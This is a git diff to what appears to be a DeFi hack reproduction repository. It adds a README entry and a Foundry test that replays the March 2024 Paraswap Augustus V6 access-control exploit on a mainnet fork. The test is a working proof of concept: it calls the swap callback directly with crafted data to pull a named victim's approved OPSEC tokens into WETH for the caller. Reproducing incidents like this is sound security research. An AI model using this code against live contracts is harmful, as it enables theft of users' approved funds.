diff --git a/README.md b/README.md index 288832cd..d6fdb012 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ **Reproduce DeFi hack incidents using Foundry.** -375 incidents included. +376 incidents included. Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h) @@ -41,6 +41,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ [20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self) +[20240320 Paraswap](#20240320-paraswap---incorrect-access-control) + [20240314 MO](#20240314-mo---business-logic-flaw) [20240313 IT](#20240313-it---business-logic-flaw) @@ -873,6 +875,24 @@ https://twitter.com/dot_pengun/status/1770989208125272481 --- +### 20240320 Paraswap - Incorrect Access Control + +### Lost: ~24K + +``` +forge test --contracts src/test/Paraswap_exp.sol -vvv --evm-version shanghai +``` + +#### Contract + +[Paraswap_exp.sol](src/test/Paraswap_exp.sol) + +#### Link reference + +https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe + +--- + ### 20240314 MO - business logic flaw ### Lost: ~413k USDT diff --git a/src/test/Paraswap_exp.sol b/src/test/Paraswap_exp.sol new file mode 100644 index 00000000..63e44c41 --- /dev/null +++ b/src/test/Paraswap_exp.sol @@ -0,0 +1,104 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo - Total Lost : ~$24K +// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a +// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0 +// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f47439 +// Attack txs : https://phalcon.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60 + +// @Analysis +// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe + +interface IParaSwapAugustusV6 { + function uniswapV3SwapCallback( + int256 amount0Delta, + int256 amount1Delta, + bytes memory data + ) external; +} + +contract ContractTest is Test { + IERC20 private constant WETH = + IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + IERC20 private constant OPSEC = + IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98); + IERC20 private constant wTAO = + IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44); + IParaSwapAugustusV6 private constant AugustusV6 = + IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439); + // User who had provided approval for Augustus V6 contract + // Amount of OPSEC will be transferred from this user + address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27; + + function setUp() public { + vm.createSelectFork("mainnet", 19470560); + vm.label(address(WETH), "WETH"); + vm.label(address(OPSEC), "OPSEC"); + vm.label(address(wTAO), "wTAO"); + vm.label(address(AugustusV6), "AugustusV6"); + } + + function testExploit() public { + emit log_named_decimal_uint( + "Exploiter WETH balance before attack", + WETH.balanceOf(address(this)), + WETH.decimals() + ); + + emit log_named_decimal_uint( + "Victim OPSEC balance before attack", + OPSEC.balanceOf(from), + OPSEC.decimals() + ); + + emit log_named_decimal_uint( + "Victim approved OPSEC amount before attack", + OPSEC.allowance(from, address(AugustusV6)), + OPSEC.decimals() + ); + + // Amount0Delta negative value can be arbitrary up to 0 + int256 amount0Delta = 0; + // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat) + // Let's try more -> 10 WETH + int256 amount1Delta = 10e18; + address to = address(this); + uint256 fee1 = 3_000; + uint256 fee2 = 10_000; + bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98; + bytes memory data = abi.encode( + to, + from, + address(wTAO), + address(WETH), + fee1, + encodedOPSECAddr, + address(WETH), + fee2 + ); + + AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data); + + emit log_named_decimal_uint( + "Victim OPSEC balance after attack", + OPSEC.balanceOf(address(from)), + OPSEC.decimals() + ); + + emit log_named_decimal_uint( + "Victim approved OPSEC amount after attack", + OPSEC.allowance(from, address(AugustusV6)), + OPSEC.decimals() + ); + + emit log_named_decimal_uint( + "Exploiter WETH balance after attack", + WETH.balanceOf(address(this)), + WETH.decimals() + ); + } +}